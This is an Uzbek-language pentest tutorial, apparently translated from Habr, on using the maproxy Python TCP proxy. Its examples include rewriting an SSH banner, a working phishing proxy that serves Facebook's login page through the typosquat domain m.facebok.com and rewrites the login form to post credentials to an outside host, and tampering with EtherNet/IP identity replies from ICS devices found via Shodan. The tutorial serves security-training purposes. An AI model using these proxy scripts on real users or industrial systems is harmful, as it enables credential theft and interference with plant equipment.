Tarmoq ma'lumotlarini tezda qayta ishlash

Maqolaning tarjimasi kurs boshlanishi arafasida tayyorlangan “Pentest. Penetratsion test amaliyoti".

Tarmoq ma'lumotlarini tezda qayta ishlash

Xulosa

Muntazam kirish testi va Red Team operatsiyalaridan tortib IoT/ICS qurilmalari va SCADA-ni buzishgacha bo'lgan turli xil xavfsizlikni baholash turlari ikkilik tarmoq protokollari bilan ishlashni, ya'ni mijoz va maqsad o'rtasidagi tarmoq ma'lumotlarini to'xtatib turish va o'zgartirishni o'z ichiga oladi. Tarmoq trafigini hidlash qiyin ish emas, chunki bizda Wireshark, Tcpdump yoki Scapy kabi vositalar mavjud, ammo modifikatsiya qilish ko'proq mehnat talab qiladigan vazifaga o'xshaydi, chunki tarmoq ma'lumotlarini o'qish, filtrlash va o'zgartirish uchun bizga qandaydir interfeys kerak bo'ladi. uni tezda va deyarli real vaqtda maqsadli xostga yuboring. Bundan tashqari, bunday vosita avtomatik ravishda bir nechta parallel ulanishlar bilan ishlashi va skriptlar yordamida sozlanishi mumkin bo'lsa, ideal bo'ladi.

Bir kuni men bir vositani topdim maproxy, hujjatlar menga buni tezda aniqlab berdi maproxy - Menga kerak bo'lgan narsa. Bu juda oddiy, ko'p qirrali va osongina sozlanadigan TCP proksi-serveri. Men ushbu vositani bir nechta juda murakkab ilovalarda, shu jumladan ICS qurilmalarida (ko'p paketlarni ishlab chiqaradigan) sinovdan o'tkazdim, u ko'plab parallel ulanishlarni bajara oladimi va asbob yaxshi ishlaydi.

Ushbu maqola sizni tarmoq ma'lumotlarini tezda qayta ishlash bilan tanishtiradi maproxy.

haqida umumiy ma'lumot

asbob maproxy Pythonda mashhur va yetuk asinxron tarmoq tizimi Tornadoga asoslangan.

Umuman olganda, u bir nechta rejimlarda ishlashi mumkin:

  • TCP:TCP – shifrlanmagan TCP ulanishlari;
  • TCP:SSL и SSL:TCP - bir tomonlama shifrlash bilan;
  • SSL:SSL - ikki tomonlama shifrlash.

U kutubxona sifatida keladi. Tez boshlash uchun siz asosiyni aks ettiruvchi misol fayllardan foydalanishingiz mumkin kutubxona funktsiyalari:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1-holat – oddiy ikki tomonlama proksi-server

Shunga asosan tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

sukut ProxyServer() ikkita argumentni oladi - ulanish joyi va maqsadli port. server.listen() bitta argumentni oladi - kiruvchi ulanishni tinglash uchun port.

Skriptni bajarish:

# python tcp2tcp.py

Sinovni o'tkazish uchun biz proksi-skriptimiz orqali mahalliy SSH serveriga ulanamiz. 2222/tcp port va standart portga ulanadi 22/tcp SSH serverlari:

Tarmoq ma'lumotlarini tezda qayta ishlash

Xush kelibsiz banner sizga bizning misol skriptimiz tarmoq trafigini proksi-serverdan muvaffaqiyatli o'tkazganligi haqida xabar beradi.

2-holat - ma'lumotlarni o'zgartirish

Boshqa demo skript logging_proxy.py tarmoq ma'lumotlari bilan ishlash uchun ideal. Fayldagi sharhlar maqsadingizga erishish uchun o'zgartirishingiz mumkin bo'lgan sinf usullarini tavsiflaydi:

Tarmoq ma'lumotlarini tezda qayta ishlash

Eng qiziq narsa bu erda:

  • on_c2p_done_read - mijozdan servergacha bo'lgan yo'lda ma'lumotlarni ushlab turish;
  • on_p2s_done_read - teskari.

Keling, server mijozga qaytaradigan SSH bannerini o'zgartirishga harakat qilaylik:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Skriptni bajaring:

Tarmoq ma'lumotlarini tezda qayta ishlash

Ko'rib turganingizdek, mijoz adashtirilgan, chunki uning uchun SSH server nomi o'zgartirilgan «DumnySSH».

Tarmoq ma'lumotlarini tezda qayta ishlash

3-holat – oddiy fishing veb-sahifasi

Ushbu vositadan foydalanishning cheksiz usullari mavjud. Bu safar keling, Red Team operatsiyalari tomonida ko'proq amaliy narsaga e'tibor qarataylik. Keling, ochilish sahifasiga taqlid qilaylik m.facebook.com va ataylab xato bilan maxsus domendan foydalaning, masalan, m.facebok.com. Namoyish maqsadida, domen biz tomonimizdan ro'yxatdan o'tgan deb faraz qilaylik.

Biz qurbonlar proksi va SSL Stream bilan Facebook serveriga shifrlanmagan tarmoq ulanishini o'rnatmoqchimiz (31.13.81.36). Ushbu misol ishlashi uchun biz HTTP xost sarlavhasini almashtirishimiz va to'g'ri xost nomini kiritishimiz kerak, shuningdek, tarkibga osongina kirishimiz uchun javobni siqishni o'chirib qo'yamiz. Oxir-oqibat biz HTML formasini almashtiramiz, shunda login hisob ma'lumotlari Facebook serverlari o'rniga bizga yuboriladi:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/uz/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Natijada:

Tarmoq ma'lumotlarini tezda qayta ishlash

Ko'rib turganingizdek, biz asl saytni muvaffaqiyatli almashtira oldik.

4-holat – Ethernet/IP-ni portlash

Men ancha vaqtdan beri sanoat qurilmalari va dasturiy ta'minot (ICS/SCADA) bilan shug'ullanaman, masalan, dasturlashtiriladigan kontrollerlar (PLC), kiritish-chiqarish modullari, drayvlar, o'rni, narvon dasturlash muhitlari va boshqalar. Bu ish sanoat narsalarni yaxshi ko'radiganlar uchun. Bunday echimlarni buzish tarmoq protokollari bilan faol o'ynashni o'z ichiga oladi. Quyidagi misolda men ICS/SCADA tarmoq trafigini qanday o'zgartirishingiz mumkinligini ko'rsatmoqchiman.

Buning uchun sizga quyidagilar kerak bo'ladi:

  • Tarmoq sniffer, masalan, Wireshark;
  • Ethernet/IP yoki shunchaki SIP qurilmasi, uni Shodan xizmatidan foydalanib topishingiz mumkin;
  • Bizning skriptimiz bunga asoslanadi maproxy.

Birinchidan, CIP (Common Industrial Protocol) ning odatiy identifikatsiya javobi qanday ko'rinishini ko'rib chiqaylik:

Tarmoq ma'lumotlarini tezda qayta ishlash

Qurilmani identifikatsiyalash Ethernet/IP protokoli yordamida amalga oshiriladi, bu CIP kabi nazorat protokollarini o'rab olgan sanoat chekilgan protokolining takomillashtirilgan versiyasidir. Biz skrinshotda ko'rinadigan ajratilgan ID nomini o'zgartirmoqchimiz Ethernet uchun "NI-IndComm" proksi-skriptimiz yordamida. Biz skriptni qayta ishlatishimiz mumkin logging_proxy.py va shunga o'xshash sinf usulini o'zgartiring on_p2s_done_read, chunki biz mijozda boshqa identifikator nomi ko'rinishini xohlaymiz.

Kod:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Aslini olganda, biz ikki marta qurilma identifikatsiyasini so'radik, ikkinchi javob asl javob edi va birinchi javob tezda o'zgartirildi.

Va oxirgi

Mening fikrimcha maproxy Pythonda ham yozilgan qulay va oddiy vosita, shuning uchun siz ham undan foydalanishdan foyda olishingiz mumkinligiga ishonaman. Albatta, tarmoq ma'lumotlarini qayta ishlash va o'zgartirish uchun yanada murakkab vositalar mavjud, lekin ular ham ko'proq e'tibor talab qiladi va odatda ma'lum bir foydalanish holati uchun yaratiladi, masalan. muraena, Modlishka yoki evilginx uchinchisiga o'xshash holatlar uchun yoki divan oxirgi holat uchun. Qanday bo'lmasin, yordam bilan maproxy siz tarmoq ma'lumotlarini ushlab qolish bo'yicha g'oyalaringizni tezda amalga oshirishingiz mumkin, chunki misol skriptlari juda aniq.

Windows AD da autentifikatsiya mexanizmlarini sinab ko'rish

Manba: www.habr.com

a Izoh qo'shish